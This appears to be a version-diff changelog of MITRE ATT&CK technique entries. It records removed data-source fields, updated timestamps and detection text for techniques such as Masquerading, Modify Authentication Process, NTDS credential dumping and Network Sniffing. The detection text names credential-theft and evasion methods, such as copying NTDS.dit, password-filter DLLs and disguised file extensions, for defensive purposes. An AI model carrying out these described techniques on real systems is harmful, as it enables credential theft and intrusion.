file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. + +Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. + +Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension. + +Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_contributors[1]Ben Smith, @cyberg3ckoBen Smith

[T1036.004] Masquerading: Masquerade Task or Service

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Scheduled Job: Scheduled Job Modification', 'Service: Service Creation', 'Command: Command Execution', 'Service: Service Metadata', 'Scheduled Job: Scheduled Job Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:48:29.215000+00:002025-10-24 17:49:00.215000+00:00
x_mitre_detectionLook for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1036] Masquerading

Current version: 1.8

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Process: Process Metadata', 'Service: Service Creation', 'Service: Service Metadata', 'Process: Process Creation', 'Image: Image Metadata', 'Scheduled Job: Scheduled Job Metadata', 'User Account: User Account Creation', 'File: File Metadata', 'Scheduled Job: Scheduled Job Modification', 'Command: Command Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:26.186000+00:002025-10-24 17:48:42.609000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionCollect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. + +If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) + +Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”.

[T1036.005] Masquerading: Match Legitimate Resource Name or Location

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata', 'Image: Image Metadata', 'Process: Process Metadata', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:11.443000+00:002025-10-24 17:48:28.950000+00:00
x_mitre_detectionCollect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. + +If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) + +In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.

[T1218.013] System Binary Proxy Execution: Mavinject

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:48:44.734000+00:002025-10-24 17:48:28.606000+00:00
x_mitre_detectionMonitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity. + +Adversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.

[T1556] Modify Authentication Process

Current version: 2.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Process: Process Access', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Object Modification', 'User Account: User Account Authentication', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Creation', 'File: File Creation', 'User Account: User Account Modification', 'File: File Modification', 'Module: Module Load', 'Cloud Service: Cloud Service Modification', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:21.746000+00:002025-10-24 17:49:36.944000+00:00
x_mitre_detectionMonitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. + +Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) + +Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) + +Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. + +Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins) + +Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). + +Monitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync) +

[T1578] Modify Cloud Compute Infrastructure

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Instance: Instance Metadata', 'Instance: Instance Stop', 'Snapshot: Snapshot Creation', 'Volume: Volume Modification', 'Instance: Instance Modification', 'Instance: Instance Creation', 'Volume: Volume Metadata', 'Instance: Instance Start', 'Cloud Service: Cloud Service Metadata', 'Volume: Volume Creation', 'Snapshot: Snapshot Modification', 'Snapshot: Snapshot Metadata', 'Volume: Volume Deletion', 'Snapshot: Snapshot Deletion', 'Instance: Instance Deletion']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:49:33.134000+00:002025-10-24 17:48:26.284000+00:00
x_mitre_detectionEstablish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.

[T1112] Modify Registry

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'Process: OS API Execution', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:33.486000+00:002025-10-24 17:48:49.294000+00:00
x_mitre_detectionModifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. + +Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. + +Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).

[T1601] Modify System Image

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:59.227000+00:002025-10-24 17:49:13.730000+00:00
x_mitre_detectionMost embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. + +Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) + +Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

[T1218.005] System Binary Proxy Execution: Mshta

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:18.707000+00:002025-10-24 17:49:03.265000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed. + +Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious

[T1218.007] System Binary Proxy Execution: Msiexec

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:16.547000+00:002025-10-24 17:48:38.626000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.

[T1111] Multi-Factor Authentication Interception

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Driver: Driver Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:50:08.274000+00:002025-10-24 17:49:29.231000+00:00
x_mitre_detectionDetecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. + +Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.

[T1621] Multi-Factor Authentication Request Generation

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Application Log: Application Log Content', 'Logon Session: Logon Session Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:50:21.216000+00:002025-10-24 17:49:07.399000+00:00
x_mitre_detectionMonitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism.

[T1104] Multi-Stage Channels

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:50.032000+00:002025-10-24 17:49:03.646000+00:00
x_mitre_detectionHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.

[T1003.003] OS Credential Dumping: NTDS

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:19.862000+00:002025-10-24 17:49:34.852000+00:00
x_mitre_detectionMonitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.

[T1564.004] Hide Artifacts: NTFS File Attributes

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'File: File Metadata', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:20.821000+00:002025-10-24 17:49:35.944000+00:00
x_mitre_detectionForensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) + +There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. + +The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

[T1106] Native API

Current version: 2.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:23.043000+00:002025-10-24 17:48:39.785000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. + +Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity.
x_mitre_contributors[0]Gordon Long, Box, Inc., @ethicalhaxGordon Long, LegioX/Zoom, asaurusrex

[T1546.007] Event Triggered Execution: Netsh Helper DLL

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:23.142000+00:002025-10-24 17:49:37.405000+00:00
x_mitre_detectionIt is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)

[T1599] Network Boundary Bridging

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:19.349000+00:002025-10-24 17:49:16.493000+00:00
x_mitre_detectionConsider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device. + +Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.

[T1498] Network Denial of Service

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:51:06.430000+00:002025-10-24 17:49:28.162000+00:00
x_mitre_detectionDetection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.

[T1556.004] Modify Authentication Process: Network Device Authentication

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:40:12.055000+00:002025-10-24 17:49:38.719000+00:00
x_mitre_detectionConsider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) + +Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).

[T1059.008] Command and Scripting Interpreter: Network Device CLI

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:18.015000+00:002025-10-24 17:49:02.287000+00:00
x_mitre_detectionConsider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History) + +Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.

[T1602.002] Data from Configuration Repository: Network Device Configuration Dump

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:40.804000+00:002025-10-24 17:48:47.219000+00:00
x_mitre_detectionIdentify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)

[T1037.003] Boot or Logon Initialization Scripts: Network Logon Script

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Modification', 'Process: Process Creation', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:51:42.187000+00:002025-10-24 17:49:21.921000+00:00
x_mitre_detectionMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

[T1590.006] Gather Victim Network Information: Network Security Appliances

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:52:16.483000+00:002025-10-24 17:48:55.360000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1046] Network Service Discovery

Current version: 3.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Cloud Service: Cloud Service Enumeration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:15.945000+00:002025-10-24 17:49:31.494000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.

[T1070.005] Indicator Removal: Network Share Connection Removal

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:18.727000+00:002025-10-24 17:49:11.691000+00:00
x_mitre_detectionNetwork share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.

[T1135] Network Share Discovery

Current version: 3.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:52:30.350000+00:002025-10-24 17:48:37.475000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1040] Network Sniffing

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:19.739000+00:002025-10-24 17:48:36.910000+00:00
x_mitre_detectionDetecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. + +In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.

[T1590.004] Gather Victim Network Information: Network Topology

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:52:48.199000+00:002025-10-24 17:48:37.652000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1590.003] Gather Victim Network Information: Network Trust Dependencies

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:53:01.571000+00:002025-10-24 17:48:38.803000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1095] Non-Application Layer Protocol

Current version: 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:04.779000+00:002025-10-24 17:49:20.136000+00:00
x_mitre_detectionAnalyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks) + +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) + +Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.

[T1132.002] Data Encoding: Non-Standard Encoding

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:12.613000+00:002025-10-24 17:49:27.237000+00:00
